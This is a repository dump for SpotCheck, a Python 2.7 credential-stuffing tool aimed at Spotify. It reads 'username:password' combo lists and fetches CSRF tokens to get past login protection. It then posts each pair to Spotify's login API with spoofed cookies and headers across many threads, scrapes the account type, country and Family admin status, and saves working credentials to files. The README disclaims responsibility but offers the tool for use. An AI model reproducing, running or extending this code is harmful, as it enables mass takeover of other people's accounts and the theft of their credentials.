├── README.md
├── SpotCheck.py
└── requeriments.txt
/README.md:
--------------------------------------------------------------------------------
1 | # SpotCheck v0.4-Stable
2 |
3 | 
4 |
5 | ## Whats is SpotCheck?
6 | SpotCheck is an account checker for the **Spotify** stream music service written in **Python 2.7**. SpotCheck manages to evade the **Spotify** *security system* that prevents the check of accounts massively. The **Spotify** *security system* is simply a **CSRF token**, a system implemented by many pages to avoid checking accounts on theirs platform but this *security system* is not very secure. Not enough for a company like **Spotify**. **SpotCheck is a challenge between friends and with the intention of educating so it should not be used to commit any type of crime that will be committed under the responsibility of the user of the program not the creator of the same**.
7 |
8 | ## How does its works?
9 | Obviously with some magic and a bit of Matrix shit. Nah just kidding.
10 | SpotCheck uses as a main base the module of `requests` to make requests to different parts of **Spotify**. The first thing you get is the CSRF token which is obtained at **accounts.spotify.com** for later use in the login API hosted at **accounts.spotify.com/api/login** with the username, password, etc ... Depending on the parameters of the API response the user and password will be correct or incorrect. If they are correct, a request will be created to **spotify.com/de/account/overview/** to get more information about the account.
11 |
12 | ## Installation
13 |
14 | Install python-pip and run this command from the SpotCheck directory
15 | ```
16 | pip install -r requeriments.txt
17 | ```
18 |
19 | ## Help Message
20 | ```
21 | usage: SpotCheck.py [-h] [--output_type OUTPUT_TYPE] [--threads THREADS]
22 | [--nothreads]
23 | combo_list output_file_name
24 |
25 | positional arguments:
26 | combo_list The combo list is a list with users and passwords in a
27 | 'username:password' format.
28 | output_file_name Only the name of the file. The extension will be
29 | determined by the type of output selected.
30 |
31 | optional arguments:
32 | -h, --help show this help message and exit
33 | --output_type OUTPUT_TYPE
34 | The output type can be: txt, json, xml and html
35 | (Default: txt).
36 | --threads THREADS Number of workers that SpotCheck uses (A very high
37 | number can cause an error in the program due to the
38 | limitations of your computer) (Default: 4).
39 | --nothreads If this argument is specified, SpotCheck will not
40 | create any thread, otherwise the main SpotCheck
41 | process will perform the checks.
42 | ```
43 |
44 | # Changelog
45 | ### 13/09/2018 v0.1-Beta
46 | ```
47 | Creation of the project.
48 | ```
49 | ### 14/09/2018 v0.2-Beta
50 | ```
51 | Builded a new system for the CSRF acquisition.
52 | ```
53 | ### 09/10/2018 v0.3-Stable
54 | ```
55 | Incremented the speed (Threads calculate).
56 | Progress Bar added (Only-MultiThread).
57 | ```
58 | ### 05/12/2018 v0.4-Beta
59 | ```
60 | Changed the main language to English.
61 | Renewed the code of SpotCheck.py.
62 | Progress Bar added to the --nothread argument.
63 | Removed the threads calculate.
64 | Added account info system (Now you can get the type of the account, country and if is the admin of a Family Premium account too).
65 | Added different types of outputs (txt, json, xml, html).
66 | ```
67 | ### 09/12/2018 v0.4-Stable
68 | ```
69 | Fixed SSL error.
70 | Now if you kill the program with Ctrl+C the alredy checked accounts will going to be saved.
71 | If you check a large account list and you are running SpotCheck with Python 32 bits you can have memory errors caused by the Python memory limit. (Just run the .exe in releases).
72 | ```
73 |
--------------------------------------------------------------------------------
/SpotCheck.py:
--------------------------------------------------------------------------------
1 | # <-- Checker imports -->
2 | import requests
3 | from bs4 import BeautifulSoup
4 | # <-- End -->
5 |
6 | # <-- Colors imports -->
7 | from colorama import init, Fore
8 | # <-- End -->
9 |
10 | # <-- Utils imports -->
11 | from os.path import exists, isfile
12 | from os import _exit, system, name
13 | from multiprocessing.dummy import Pool, cpu_count
14 | from tqdm import tqdm
15 | import argparse
16 | import xml.etree.ElementTree as ET
17 | from json import dump
18 | # <-- End -->
19 |
20 | VERSION = "v0.4-Stable"
21 |
22 | init()
23 |
24 | class Output(object):
25 | def __init__(self, output_type, output_file):
26 |
27 | self.good_types = ["txt", "json", "xml", "html"]
28 | self.type = output_type.lower()
29 | self.file = output_file
30 |
31 | if not self.type in self.good_types:
32 | colors.error("Output type not avaible, exiting...")
33 | _exit(1)
34 |
35 | def Save_html(self, accounts):
36 | """
37 | Output accounts (Working accounts and bad accounts) to a HTML file
38 | with information of the account.
39 | """
40 | try:
41 |
42 | self.extension = ".html"
43 |
44 | colors.info("Saving as HTML in {}{}".format(self.file, self.extension))
45 |
46 | SpotifyFree = []
47 | SpotifyPremium = []
48 | PremiumFamily = []
49 | AdminPremiumFamily = []
50 | BadAccounts = []
51 |
52 | for account in accounts:
53 | if account.get("account_login") == "error":
54 | BadAccounts.append({"Username" : account["Username"], "Password" : account["Password"]})
55 | else:
56 | if account.get("AccountType") == "Spotify Free":
57 | SpotifyFree.append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]})
58 | elif account.get("AccountType") == "Spotify Premium":
59 | SpotifyPremium.append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]})
60 | elif account.get("AccountType") == "Premium Family":
61 | if account.get("Admin"):
62 | AdminPremiumFamily.append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]})
63 | else:
64 | PremiumFamily.append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]})
65 |
66 | html = "\n
\n\n"
68 |
69 | html += "
Spotify Free
"
70 | html += "
\n\nUsername | \nPassword | \nCountry | \n
\n"
71 |
72 | for account in SpotifyFree:
73 | html += "\n{} | \n{} | \n{} | \n
\n".format(account["Username"], account["Password"], account["Country"])
74 |
75 | html += "
\n
\n
"
76 |
77 | html += "
Spotify Premium
"
78 | html += "
\n\nUsername | \nPassword | \nCountry | \n
\n"
79 |
80 | for account in SpotifyPremium:
81 | html += "\n{} | \n{} | \n{} | \n
\n".format(account["Username"], account["Password"], account["Country"])
82 |
83 | html += "
\n
\n
"
84 |
85 | html += "
Premium Family
"
86 | html += "
\n\nUsername | \nPassword | \nCountry | \n
\n"
87 |
88 | for account in PremiumFamily:
89 | html += "\n{} | \n{} | \n{} | \n
\n".format(account["Username"], account["Password"], account["Country"])
90 |
91 | html += "
\n
\n
"
92 |
93 | html += "
Admin of Premium Family
"
94 | html += "
\n\nUsername | \nPassword | \nCountry | \n
\n"
95 |
96 | for account in AdminPremiumFamily:
97 | html += "\n{} | \n{} | \n{} | \n
\n".format(account["Username"], account["Password"], account["Country"])
98 |
99 | html += "
\n
\n
"
100 |
101 | html += "
Bad Accounts
"
102 | html += "
\n\nUsername | \nPassword | \n
\n"
103 |
104 | for account in BadAccounts:
105 | html += "\n{} | \n{} | \n
\n".format(account["Username"], account["Password"])
106 |
107 | html += "
\n
\n
"
108 |
109 | html += "
Result generated by SpotCheck (www.github.com/MrSentex/SpotCheck)
\n"
110 |
111 | with open(self.file+self.extension, "w") as output_:
112 | output_.write(html)
113 | output_.close()
114 |
115 | colors.correct("Done! All saved successfully")
116 |
117 | except Exception as e:
118 | colors.error(str(e))
119 | _exit(1)
120 |
121 | def Save_xml(self, accounts):
122 | """
123 | Output accounts (Working accounts and bad accounts) to a XML file
124 | with information of the account.
125 | """
126 | try:
127 |
128 | self.extension = ".xml"
129 |
130 | colors.info("Saving as XML in {}{}".format(self.file, self.extension))
131 |
132 | Main = ET.Element("SpotCheck")
133 |
134 | SpotifyFree = ET.SubElement(Main, 'SpotifyFree')
135 | SpotifyPremium = ET.SubElement(Main, 'SpotifyPremium')
136 | PremiumFamily = ET.SubElement(Main, 'PremiumFamily')
137 | AdminPremiumFamily = ET.SubElement(Main, 'AdminPremiumFamily')
138 | BadAccounts = ET.SubElement(Main, 'BadAccounts')
139 |
140 | for account in accounts:
141 | if account.get("account_login") == "error":
142 | temp = ET.SubElement(BadAccounts, "account")
143 | temp.set("Username", account["Username"])
144 | temp.set("Password", account["Password"])
145 | else:
146 | if account.get("AccountType") == "Spotify Free":
147 | temp = ET.SubElement(SpotifyFree, "account")
148 | temp.set("Username", account["Username"])
149 | temp.set("Password", account["Password"])
150 | temp.set("Country", account["Country"])
151 | elif account.get("AccountType") == "Spotify Premium":
152 | temp = ET.SubElement(SpotifyPremium, "account")
153 | temp.set("Username", account["Username"])
154 | temp.set("Password", account["Password"])
155 | temp.set("Country", account["Country"])
156 | elif account.get("AccountType") == "Premium Family":
157 | if account.get("Admin"):
158 | temp = ET.SubElement(AdminPremiumFamily, "account")
159 | temp.set("Username", account["Username"])
160 | temp.set("Password", account["Password"])
161 | temp.set("Country", account["Country"])
162 | else:
163 | temp = ET.SubElement(PremiumFamily, "account")
164 | temp.set("Username", account["Username"])
165 | temp.set("Password", account["Password"])
166 | temp.set("Country", account["Country"])
167 | XML = ET.tostring(Main)
168 | with open(self.file+self.extension, "w") as output_:
169 | output_.write(XML)
170 | colors.correct("Done! All saved successfully")
171 | except Exception as e:
172 | colors.error(str(e))
173 | _exit(1)
174 |
175 | def Save_json(self, accounts):
176 | """
177 | Ouput accounts (Working accounts and bad accounts) to a JSON file with
178 | information of the account.
179 | """
180 | try:
181 | self.extension = ".json"
182 |
183 | colors.info("Saving as JSON in {}{}".format(self.file, self.extension))
184 |
185 | json = {}
186 | json["Spotify Free"] = []
187 | json["Spotify Premium"] = []
188 | json["Premium Family"] = []
189 | json["Admin of Premium Family"] = []
190 | json["Bad Accounts"] = []
191 |
192 | for account in accounts:
193 | if account.get("account_login") == "error":
194 | json["Bad Accounts"].append({"Username" : account["Username"], "Password" : account["Password"]})
195 | else:
196 | if account.get("AccountType") == "Spotify Free":
197 | json["Spotify Free"].append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]})
198 | elif account.get("AccountType") == "Spotify Premium":
199 | json["Spotify Premium"].append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]})
200 | elif account.get("AccountType") == "Premium Family":
201 | if account["Admin"]:
202 | json["Admin of Premium Family"].append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]})
203 | else:
204 | json["Premium Family"].append({"Username" : account["Username"], "Password" : account["Password"], "Country" : account["Country"]})
205 | else:
206 | print(str(account))
207 | with open(self.file+self.extension, "w") as output_:
208 | dump(json, output_)
209 | output_.close()
210 | colors.correct("Done! All saved successfully")
211 | except Exception as e:
212 | colors.error(str(e))
213 | _exit(1)
214 |
215 | def Save_txt(self, accounts):
216 | """
217 | Output only the working accounts to a TXT file with information
218 | of the account.
219 | """
220 |
221 | self.extension = ".txt"
222 |
223 | self.sep = "<--------Account-------->\n"
224 |
225 | colors.info("Saving as TXT in {}{}".format(self.file, self.extension))
226 |
227 | try:
228 | with open(self.file+self.extension, "a") as output_:
229 | for account in accounts:
230 | if account.get("account_login") == "success":
231 | if account.get("AccountType") != "Spotify Free":
232 | output_.write(self.sep)
233 | output_.write("Username: {}\n".format(account["Username"]))
234 | output_.write("Password: {}\n".format(account["Password"]))
235 | output_.write("As Combo: {}:{}\n".format(account["Username"], account["Password"]))
236 | output_.write("Account Type: {}\n".format(account["AccountType"]))
237 | output_.write("Country: {}\n".format(account["Country"]))
238 | output_.write("Admin: {}\n".format(account["Admin"]))
239 | output_.close()
240 | colors.correct("Done! All saved successfully")
241 | except Exception as e:
242 | colors.error(str(e))
243 | _exit(1)
244 |
245 | def Save(self, accounts):
246 |
247 | if self.type == "txt":
248 | self.Save_txt(accounts)
249 | elif self.type == "json":
250 | self.Save_json(accounts)
251 | elif self.type == "xml":
252 | self.Save_xml(accounts)
253 | elif self.type == "html":
254 | self.Save_html(accounts)
255 |
256 | class Spotify(object):
257 | def getCSRFtoken(self):
258 | while True:
259 | csrf_request = requests.get('https://accounts.spotify.com')
260 | if csrf_request.status_code == 200:
261 | break
262 | return csrf_request.cookies.get("csrf_token")
263 |
264 | def getAccountInfo(self, Session, email, password):
265 | while True:
266 | response = Session.get('https://www.spotify.com/de/account/overview/')
267 | if response.status_code == 200:
268 | break
269 | data = response.text
270 |
271 | parser = BeautifulSoup(data, "lxml")
272 |
273 | account_type = parser.find("h3", attrs={"class" : "product-name"}).text
274 | country = parser.find("p", attrs={"class" : "form-control-static", "id" : "card-profile-country"}).text
275 | admin = None
276 |
277 | if account_type == "Premium Family":
278 | if len(parser.find_all("h3", attrs={"class" : "product-name"})) == 2:
279 | admin = True
280 | else:
281 | admin = False
282 |
283 | return {"account_login" : "success", "Username" : email, "Password" : password ,"AccountType" : account_type, "Country" : country, "Admin" : admin}
284 |
285 |
286 | def SpotifyCheck(self, email, password):
287 |
288 | api_request = requests.Session()
289 |
290 | csrf_token = self.getCSRFtoken()
291 |
292 | cookies = {"fb_continue" : "https%3A%2F%2Fwww.spotify.com%2Fid%2Faccount%2Foverview%2F", "sp_landing" : "play.spotify.com%2F", "sp_landingref" : "https%3A%2F%2Fwww.google.com%2F", "user_eligible" : "0", "spot" : "%7B%22t%22%3A1498061345%2C%22m%22%3A%22id%22%2C%22p%22%3Anull%7D", "sp_t" : "ac1439ee6195be76711e73dc0f79f89", "sp_new" : "1", "csrf_token" : csrf_token, "__bon" : "MHwwfC0zMjQyMjQ0ODl8LTEzNjE3NDI4NTM4fDF8MXwxfDE=", "remember" : "false@false.com", "_ga" : "GA1.2.153026989.1498061376", "_gid" : "GA1.2.740264023.1498061376"}
293 | headers = {"User-Agent" : "Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) FxiOS/1.0 Mobile/12F69 Safari/600.1.4", "Accept" : "application/json, text/plain", "Content-Type": "application/x-www-form-urlencoded"}
294 | payload = {"remember" : "false", "username" : email, "password" : password, "csrf_token" : csrf_token}
295 |
296 | response = api_request.post("https://accounts.spotify.com/api/login", data=payload, headers=headers, cookies=cookies)
297 |
298 | try:
299 | if response.json().get("error"):
300 | return {"account_login" : "error", "Username" : email, "Password" : password}
301 | except Exception:
302 | return {"account_login" : "error", "Username" : email, "Password" : password}
303 |
304 | return self.getAccountInfo(api_request, email, password)
305 |
306 | class colors:
307 | @staticmethod
308 | def info(msg):
309 | print("[" + Fore.BLUE + "#" + Fore.RESET + "] " + str(msg))
310 | @staticmethod
311 | def correct(msg):
312 | print("[" + Fore.GREEN + "+" + Fore.RESET + "] " + str(msg))
313 | @staticmethod
314 | def error(msg):
315 | print("[" + Fore.RED + "-" + Fore.RESET + "] " + str(msg))
316 | @staticmethod
317 | def warning(msg):
318 | print("[" + Fore.YELLOW + "!" + Fore.RESET + "] " + str(msg))
319 |
320 | class Main(object):
321 | def __init__(self, list, output, threads, output_type, nothread):
322 |
323 | if threads == None:
324 | threads = cpu_count()
325 | if output_type == None:
326 | output_type = "txt"
327 |
328 | self.list = list
329 | self.output = output
330 | self.threads = threads
331 | self.output_type = output_type
332 | self.nothread = nothread
333 |
334 | self.accounts_array = []
335 | self.results_array = []
336 |
337 | def print_header(self):
338 | print(r"""
339 | ________ ________ ________ _________ ________ ___ ___ _______ ________ ___ __
340 | |\ ____\|\ __ \|\ __ \|\___ ___\\ ____\|\ \|\ \|\ ___ \ |\ ____\|\ \|\ \
341 | \ \ \___|\ \ \|\ \ \ \|\ \|___ \ \_\ \ \___|\ \ \\\ \ \ __/|\ \ \___|\ \ \/ /|_
342 | \ \_____ \ \ ____\ \ \\\ \ \ \ \ \ \ \ \ \ __ \ \ \_|/_\ \ \ \ \ ___ \
343 | \|____|\ \ \ \___|\ \ \\\ \ \ \ \ \ \ \____\ \ \ \ \ \ \_|\ \ \ \____\ \ \\ \ \
344 | ____\_\ \ \__\ \ \_______\ \ \__\ \ \_______\ \__\ \__\ \_______\ \_______\ \__\\ \__\
345 | |\_________\|__| \|_______| \|__| \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__|
346 | \|_________|
347 |
348 | By MrSentex | @fbi_sentex | www.github.com/MrSentex | www.gitlab.com/MrSentex | {}
349 | """.format(VERSION))
350 |
351 | def clear(self):
352 | if name == "nt":
353 | system("cls")
354 | else:
355 | system("clear")
356 |
357 | def load_list(self):
358 | colors.info("Reading combo file...")
359 | if not exists(self.list):
360 | colors.error("The combo don't exist")
361 | _exit(1)
362 | if not isfile(self.list):
363 | colors.error("The combo isn't a file")
364 | _exit(1)
365 | with open(self.list, "r") as list_file:
366 | lines = list_file.readlines()
367 | colors.warning("Loading " + str(len(lines)) + " accounts")
368 | for line in lines:
369 | line = line.replace('\n', '')
370 | account = line.split(":")
371 | if not len(account) == 2:
372 | continue
373 | self.accounts_array.append({"email" : account[0], "password" : account[1]})
374 | colors.correct(str(len(self.accounts_array)) + " accounts have been loaded succesfully\n")
375 |
376 | def SpotCheck(self, account):
377 |
378 | email = account["email"]
379 | password = account["password"]
380 |
381 | while True:
382 | try:
383 | self.results_array.append(Spotify().SpotifyCheck(email, password))
384 | break
385 | except Exception:
386 | pass
387 |
388 | def start_check(self):
389 |
390 | self.clear()
391 | self.print_header()
392 | self.load_list()
393 |
394 | Output_Manager = Output(self.output_type, self.output)
395 |
396 | if not self.nothread:
397 |
398 | colors.info("Starting with " + str(self.threads) + " threads\n")
399 |
400 | pool = Pool(self.threads)
401 |
402 | try:
403 | for _ in tqdm(pool.imap_unordered(self.SpotCheck, self.accounts_array), total=len(self.accounts_array), desc="Processing accounts"):
404 | pass
405 | except KeyboardInterrupt:
406 | print("\n")
407 | colors.error("Ctrl + C detected, exiting...\n")
408 | Output_Manager.Save(self.results_array)
409 | _exit(0)
410 |
411 | else:
412 |
413 | colors.info("Starting in the main process\n")
414 |
415 | try:
416 | with tqdm(total=len(self.accounts_array), desc="Processing accounts") as pbar:
417 | for account in self.accounts_array:
418 | self.SpotCheck(account)
419 | pbar.update(1)
420 | except KeyboardInterrupt:
421 | print("\n")
422 | colors.error("Ctrl + C detected, exiting...\n")
423 | Output_Manager.Save(self.results_array)
424 | _exit(0)
425 |
426 | print("")
427 | colors.correct("Process finished!\n")
428 |
429 | Output_Manager.Save(self.results_array)
430 |
431 |
432 | parser = argparse.ArgumentParser()
433 | parser.add_argument("combo_list", help="The combo list is a list with users and passwords in a 'username:password' format.")
434 | parser.add_argument("output_file_name", help="Only the name of the file. The extension will be determined by the type of output selected.")
435 | parser.add_argument("--output_type", help="The output type can be: txt, json, xml and html (Default: txt).", action="store", type=str)
436 | parser.add_argument("--threads", help="Number of workers that SpotCheck uses (A very high number can cause an error in the program due to the limitations of your computer) (Default: {}).".format(cpu_count()), type=int, action="store")
437 | parser.add_argument("--nothreads", help="If this argument is specified, SpotCheck will not create any thread, otherwise the main SpotCheck process will perform the checks.", action="store_true", default=False)
438 |
439 | args = parser.parse_args()
440 |
441 | Main(args.combo_list, args.output_file_name, args.threads, args.output_type, args.nothreads).start_check()
--------------------------------------------------------------------------------
/requeriments.txt:
--------------------------------------------------------------------------------
1 | colorama
2 | requests
3 | tqdm
4 | bs4
5 |
6 |
--------------------------------------------------------------------------------